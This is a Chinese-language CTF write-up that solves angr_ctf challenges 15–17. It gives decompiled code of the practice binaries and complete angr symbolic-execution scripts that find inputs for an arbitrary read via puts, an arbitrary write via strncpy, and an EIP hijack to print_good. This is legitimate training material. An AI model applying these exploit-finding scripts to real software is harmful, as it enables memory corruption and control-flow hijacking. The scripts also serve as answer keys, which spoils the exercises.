终于做完了angrCTF的所有题目了。
感谢这两位大佬的博客和github
https://ycdxsb.cn/
https://github.com/ZERO-A-ONE/AngrCTF_FITM
15_angr_arbitrary_read
反编译程序后:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Ch] [ebp-1Ch]
char *s; // [esp+1Ch] [ebp-Ch]
s = try_again;
print_msg();
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &v4);
if ( key == 19511649 )
puts(s);
else
puts(try_again);
return 0;
}
介绍文档说,我们需要三步来构建脚本:
- 搜索puts函数的调用,最终将会利用puts函数打印Good Job
- 确定一下puts函数的第一个参数是否能被用户控制
- 求解可以打印good job的输入
angr代码如下:
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
# Hint: scanf("%u %20s")
def run(self, format_string,param0,param1 ):
# %u
scanf0 = claripy.BVS('scanf0', 32)
# %20s
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)
self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1
scanf_symbol = "__isoc99_scanf" # :string
project.hook_symbol(scanf_symbol, ReplacementScanf())
def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp+4, 4, endness=project.arch.memory_endness)
if state.solver.symbolic(puts_parameter):
good_job_string_address = 0x50544E47 # :integer, probably hexadecimal
is_vulnerable_expression = puts_parameter == good_job_string_address # :boolean bitvector expression
copied_state = state.copy()
copied_state.add_constraints(is_vulnerable_expression)
# Finally, we test if we can satisfy the constraints of the state.
if copied_state.satisfiable():
# Before we return, let's add the constraint to the solver for real.
state.add_constraints(is_vulnerable_expression)
return True
else:
return False
else: # not state.se.symbolic(???)
return False
simulation = project.factory.simgr(initial_state)
def is_successful(state):
puts_address = 0x08048370
if state.addr == puts_address:
# Return True if we determine this call to puts is exploitable.
return check_puts(state)
else:
# We have not yet found a call to puts; we should continue!
return False
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
scanf0 = solution_state.globals['solution0']
scanf1 = solution_state.globals['solution1']
solution0 = solution_state.solver.eval(scanf0)
solution1 = solution_state.solver.eval(scanf1, cast_to=bytes)
print("[+] Success! Solution is: {0} {1}".format(solution0, solution1[::-1]))
#print(solution0,solution1[::-1])
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
本地结果:
web端结果:
16_angr_arbitrary_write
反编译代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
char *dest; // [esp+1Ch] [ebp-Ch]
dest = unimportant_buffer;
memset(&s, 0, 0x10u);
strncpy(password_buffer, "PASSWORD", 0xCu);
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &s);
if ( key == 25686682 )
strncpy(dest, &s, 0x10u);
else
strncpy(unimportant_buffer, &s, 0x10u);
if ( !strncmp(password_buffer, "KLEGGUCT", 8u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
我们需要在二进制中找到一个地方,当strncpy调用时:
- 控制源内容(不是源指针)
- 控制目的指针
exp代码
# Essentially, the program does the following:
#
# scanf("%d %20s", &key, user_input);
# ...
# // if certain unknown conditions are true...
# strncpy(random_buffer, user_input);
# ...
# if (strncmp(secure_buffer, reference_string)) {
# // The secure_buffer does not equal the reference string.
# puts("Try again.");
# } else {
# // The two are equal.
# puts("Good Job.");
# }
#
# If this program has no bugs in it, it would _always_ print "Try again." since
# user_input copies into random_buffer, not secure_buffer.
#
# The question is: can we find a buffer overflow that will allow us to overwrite
# the random_buffer pointer to point to secure_buffer? (Spoiler: we can, but we
# will need to use Angr.)
#
# We want to identify a place in the binary, when strncpy is called, when we can:
# 1) Control the source contents (not the source pointer!)
# * This will allow us to write arbitrary data to the destination.
# 2) Control the destination pointer
# * This will allow us to write to an arbitrary location.
# If we can meet both of those requirements, we can write arbitrary data to an
# arbitrary location. Finally, we need to contrain the source contents to be
# equal to the reference_string and the destination pointer to be equal to the
# secure_buffer.
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# You can either use a blank state or an entry state; just make sure to start
# at the beginning of the program.
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
# Hint: scanf("%u %20s")
def run(self, format_string, param0, param1):
# %u
scanf0 = claripy.BVS('scanf0', 4*8)
# %20s
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0,scanf1)
scanf_symbol = "__isoc99_scanf" # :string
project.hook_symbol(scanf_symbol, ReplacementScanf())
# In this challenge, we want to check strncpy to determine if we can control
# both the source and the destination. It is common that we will be able to
# control at least one of the parameters, (such as when the program copies a
# string that it received via stdin).
def check_strncpy(state):
# The stack will look as follows:
# ... ________________
# esp + 15 -> / \
# esp + 14 -> | param2 |
# esp + 13 -> | len |
# esp + 12 -> \________________/
# esp + 11 -> / \
# esp + 10 -> | param1 |
# esp + 9 -> | src |
# esp + 8 -> \________________/
# esp + 7 -> / \
# esp + 6 -> | param0 |
# esp + 5 -> | dest |
# esp + 4 -> \________________/
# esp + 3 -> / \
# esp + 2 -> | return |
# esp + 1 -> | address |
# esp -> \________________/
# (!)
strncpy_src = state.memory.load(state.regs.esp + 8,4,endness=project.arch.memory_endness)
strncpy_dest = state.memory.load(state.regs.esp + 4,4,endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp +12,4,endness=project.arch.memory_endness)
# We need to find out if src is symbolic, however, we care about the
# contents, rather than the pointer itself. Therefore, we have to load the
# the contents of src to determine if they are symbolic.
# Hint: How many bytes is strncpy copying?
# (!)
src_contents = state.memory.load(strncpy_src, strncpy_len)
# Our goal is to determine if we can write arbitrary data to an arbitrary
# location. This means determining if the source contents are symbolic
# (arbitrary data) and the destination pointer is symbolic (arbitrary
# destination).
# (!)
if state.solver.symbolic(src_contents) and state.solver.symbolic(strncpy_dest):
# Use ltrace to determine the reference string. Decompile the binary to
# determine the address of the buffer it checks the password against. Our
# goal is to overwrite that buffer to store the password.
# (!)
password_string = "KLEGGUCT" # :string
buffer_address = 0x4D565A54 # :integer, probably in hexadecimal
# Create an expression that tests if the first n bytes is length. Warning:
# while typical Python slices (array[start:end]) will work with bitvectors,
# they are indexed in an odd way. The ranges must start with a high value
# and end with a low value. Additionally, the bits are indexed from right
# to left. For example, let a bitvector, b, equal 'ABCDEFGH', (64 bits).
# The following will read bit 0-7 (total of 1 byte) from the right-most
# bit (the end of the string).
# b[7:0] == 'H'
# To access the beginning of the string, we need to access the last 16
# bits, or bits 48-63:
# b[63:48] == 'AB'
# In this specific case, since we don't necessarily know the length of the
# contents (unless you look at the binary), we can use the following:
# b[-1:-16] == 'AB', since, in Python, -1 is the end of the list, and -16
# is the 16th element from the end of the list. The actual numbers should
# correspond with the length of password_string.
# (!)
does_src_hold_password = src_contents[-1:-64] == password_string
# Create an expression to check if the dest parameter can be set to
# buffer_address. If this is true, then we have found our exploit!
# (!)
does_dest_equal_buffer_address = buffer_address == strncpy_dest
# In the previous challenge, we copied the state, added constraints to the
# copied state, and then determined if the constraints of the new state
# were satisfiable. Since that pattern is so common, Angr implemented a
# parameter 'extra_constraints' for the satisfiable function that does the
# exact same thing:
if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)):
state.add_constraints(does_src_hold_password, does_dest_equal_buffer_address)
return True
else:
return False
else: # not state.se.symbolic(???)
return False
simulation = project.factory.simgr(initial_state)
def is_successful(state):
strncpy_address = 0x08048410
if state.addr == strncpy_address:
return check_strncpy(state)
else:
return False
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
scanf0,scanf1 = solution_state.globals['solutions']
solution0 = solution_state.solver.eval(scanf0)
solution1 = solution_state.solver.eval(scanf1,cast_to=bytes)
solution = (solution0,solution1)
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
本地结果:
web端结果:
什么时候用大小端很重要!!!
17_angr_arbitrary_jump
这个是个简单的ROP,目的就是利用read_input的漏洞来控制eip跳转到程序里的print_good函数。
反编译代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
printf("Enter the password: ");
read_input();
puts("Try again.");
return 0;
}
exp代码:
#-*-coding:utf8-*-
import angr
import sys
import claripy
def main():
# 前三步还是和之前一样
path_to_binary = "17_angr_arbitrary_jump"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
# 这里加了save_unconstrained参数为true是防止angr丢弃掉无约束的状态
simulation = project.factory.simgr(initial_state,save_unconstrained=True)
# 用这个类替代scanf函数
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS('input_buffer', 64 * 8) # 设置一个较大的input_buffer
# 过滤下字符
for char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
self.state.memory.store(
input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
solution_state = None
#检测是否找到solution
def has_found_solution():
return solution_state is not None
#检测一下是否还有无约束的状态还没检查
def has_unconstrained():
return len(simulation.unconstrained) > 0
# 检查一下还有哪些状态没检查
def has_active():
return len(simulation.active) > 0
# 如果还有状态可以检查
while( has_active() or has_unconstrained() ) and (not has_found_solution()) :
for unconstrained_state in simulation.unconstrained:
eip = unconstrained_state.regs.eip
# print_good 函数的地址
print_good_addr = 0x5A4A4644
if( unconstrained_state.satisfiable(extra_constraints=[(eip == print_good_addr)])) :
solution_state = unconstrained_state
solution_state.add_constraints(eip == print_good_addr)
break
simulation.drop(stash="unconstrained")
simulation.step()
if solution_state:
solution = solution_state.solver.eval(solution_state.globals['solution'],cast_to=bytes)
print (solution[::-1])
else:
raise Exception("could not find the solution")
if __name__ == "__main__":
main()
本地测试:
web端测试: